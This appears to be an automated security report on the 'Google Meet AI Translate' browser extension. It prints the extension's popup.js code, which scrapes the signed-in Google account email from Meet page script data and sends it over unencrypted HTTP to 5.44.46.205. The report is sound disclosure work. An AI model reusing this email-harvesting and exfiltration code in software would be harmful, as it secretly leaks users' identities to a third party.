Is Google Meet AI Translate safe?
Google Meet AI Translate reads the active Meet page for your account email and sends it to 5.44.46.205 over HTTP.
When you use the popup switcher on an active Google Meet tab, the extension injects code into all frames, parses Meet page data, and extracts the account email. It then makes a cleartext HTTP request to 5.44.46.205/goog/ with the email in the URL before continuing the caption translation flow.
Who publishes itTUQ LTD - 3 other listings from the same operator, none carrying a finding
TUQ LTD - 3 other listings from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same operator - 3 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Meet popup sends account email over HTTP
Clicking the popup switcher on a Google Meet call injects code, extracts your signed-in Google account email, and sends it as a GET parameter to http://5.44.46.205/goog/ over unencrypted HTTP, confirmed by dynamic analysis.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You click the extension's popup switcher while a Google Meet call page is active.
The extension reads Meet page script data, extracts the signed-in account email, and sends it to an HTTP endpoint.
- Meet account emailuser@example.com (illustrative)
This identifies the Google account you are using for the meeting.
- Meet page script dataAF_initDataCallback({key: 'ds:8', data: ['meet', 'call', 'state', 'locale', 'user@example.com']}) (illustrative)
The page data gives the extension enough context to derive the account email before the request is sent.
Popup switcher path that extracts and sends the email
Readable view of the switcher injection flow
popup.js$('#switcher').click(function handleSwitcherClick() { $(this).toggleClass('active'); switchf = localStorage.getItem('switchf'); if (switchf === 'off') { localStorage.setItem('switchf', 'on'); chrome.tabs.query({ active: true }, function runEmailGrabberInActiveTab(tabs) { var tab = tabs[0]; if (tab) { chrome.scripting.executeScript( { target: { tabId: tab.id, allFrames: true }, func: grabEmail }, onResult ); } else { alert('There are no active tabs'); } }); } else { localStorage.setItem('switchf', 'off'); try { chrome.tabs.query({ active: true }, function runDisableInActiveTab(tabs) { var tab = tabs[0]; if (tab) { chrome.scripting.executeScript( { target: { tabId: tab.id, allFrames: true }, func: goog_disableTranslate }, onResult2 ); } else { alert('There are no active tabs'); } }); } catch (e) {} }});Readable view of the Meet page data extraction
popup.jsfunction grabEmail() { var meetData = ''; try { var isInMeetCall = document.querySelectorAll("[data-popout-renderers]:not([data-popout-renderers=''])").length > 0; if (isInMeetCall) { var scripts = document.getElementsByTagName('script'); var matchingScriptIndex = -1; for (let i = 0; i < scripts.length; i++) { if (scripts[i].innerHTML.includes("key: 'ds:8'")) { matchingScriptIndex = i; } } if (matchingScriptIndex !== -1) { meetData = scripts[matchingScriptIndex].innerHTML.replace('AF_initDataCallback(', '').replace(');', ''); } } } catch (e) {} if (meetData !== '') { console.log(meetData); } return meetData;}Readable view of the email request
popup.jsfunction onResult(frames) { if (!frames || !frames.length) { alert('Could not retrieve google meet from specified page'); return; } console.log(frames); var meetData = ''; frames.forEach((element) => { console.log('element', element); if (element.result !== '') { meetData = element.result; } }); if (meetData !== '') { meetData = JSON5.parse(meetData); var mail = meetData.data[4]; try { let xhr = new XMLHttpRequest(); xhr.open('GET', 'http://5.44.46.205/goog/?email=' + mail); xhr.send(); } catch (e) {} translateFrom = localStorage.getItem('translateFrom'); translateTo = localStorage.getItem('translateTo'); chrome.tabs.query({ active: true }, function enableCaptionsInActiveTab(tabs) { var tab = tabs[0]; if (tab) { chrome.scripting.executeScript( { target: { tabId: tab.id, allFrames: true }, func: goog_enableCaptions, args: [translateFrom, translateTo] }, onResult2 ); } else { alert('There are no active tabs'); } }); } else { alert('Not a google meet call page'); }}- 5.44.46.205
Receives the Google Meet account email as the email query parameter over plain HTTP.
What it can do
Permissions this extension asks for, as declared in version 1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Run its own code inside the pages you visit
scripting
Act on the current tab, but only after you click the extension
activeTab
Where it sends data
Destinations our analysis observed Google Meet AI Translate contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- 5.44.46.205
Google Meet AI Translate sends data to 5.44.46.205. No other extension we have analysed sends data here.